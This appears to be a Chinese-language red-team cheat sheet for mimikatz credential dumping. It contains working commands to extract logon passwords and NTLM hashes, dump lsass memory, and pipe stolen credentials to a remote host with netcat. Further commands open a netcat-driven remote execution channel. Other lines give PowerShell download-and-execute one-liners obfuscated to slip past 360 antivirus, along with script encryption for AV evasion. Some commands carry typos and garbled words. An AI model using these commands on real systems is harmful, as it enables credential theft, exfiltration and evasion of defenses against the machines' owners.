mimikatz
privilege::debug #提权命令
sekurlsa::logonPasswords #抓取密码
winmine::infos #扫雷作弊
lsadump::lsa /patch #获取当前此计算机存在过用户的NTLMHASH
procdump64.exe -accepteula -ma lsass.exe lsass.dmp #导出为lsass.dump文件
sekurlsa::minidump lsass.dmp #配合procdumo将李飒飒啊、进程内存文件导出到本地,并利用mimikatz进行密码的读取
sekurlsa::minidump logonPasswords full
配合使用:
将输出传输到远程机器:
nc -lvp 4444
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 192.168.114.136 4444
通过nc远程执行Mimikatz:
nc -lvp 443
nc.exe -vv 192.168.114.136 443 -e mimikatz.exe
当无法抓取新密码的时候:
privilege::debug
misc::memssp
其他功能:
system::user #查看当前登录的系统用户
system::computer #返回当前的计算机名称
ts::sessions #显示当前的会话
ts::processes windows-d.vm.nirvana.local %显示服务器的进程和对应的pid情况等。
免杀
Get-ExecutionPolicy #结果显示restricted
Set-ExecutionPolicy Unrestricted #打开限制
Import-Module ./xencrypt.ps1 #加密invoke-mimikatz.ps1
Invoke-Xencrypt -InFile C:\Users\Dell\Desktop\工具集\一句话连接,菜刀冰蝎\xencrypt-master\Invoke-Mimikatz.ps1 -OutFile C:\Users\Dell\Desktop\工具集\一句话连接,菜刀冰蝎\xencrypt-master\xenmimi.ps1
usage:
Import-Module .\xenmimi.ps1
Invoke-Mimikatz
通过-Iterations标志支持递归分层加密:
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100
usage:
Import-Module .\xenmimi.ps1
Invoke-Mimikatz
远程加载/Powershell免杀
powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz-DumpCreds"
此时360判断为PowerShell下载攻击并弹窗,360针对powershell的http协议下载查杀,但是检查内容只是命令中出现http,所以只需要一步简单的替换即可绕过('htxtp://is.gd/oeoFuI' -replace 'x','')。
也可以简单混淆:
powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.0'+'.101/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"
#在Windows server 2008 及之前 可以使用此命令
powershell "IEX (New-ObjectNet.WebClient).DownloadString(('htxtp://is.gd/oeoFuI' -replace 'x',''));Invoke-Mimikatz -DumpCreds"
这样就好了。
powershell加载exe进内存运行需要PowerSploit中的Invoke-ReflectivePEInjection脚本。
powershell.exe -exec bypass IEX (New-ObjectNet.WebClient).DownloadString(('htxtp://suo.im/5FAjaC' -replace'x',''));Invoke-ReflectivePEInjection -PEUrlhttp://x.x.x.x/mimikatz.exe-ExeArgs"sekurlsa::logonpasswords" -ForceASLR
#Windows server 2009 及之后
powershell "IEX (New-Object Net.WebClient).DownloadString('https://url.cn/wv7uNQrc'); Invoke-Mimikatz"
msf使用
在meterpreter中加载mimikatz模块
load mimikatz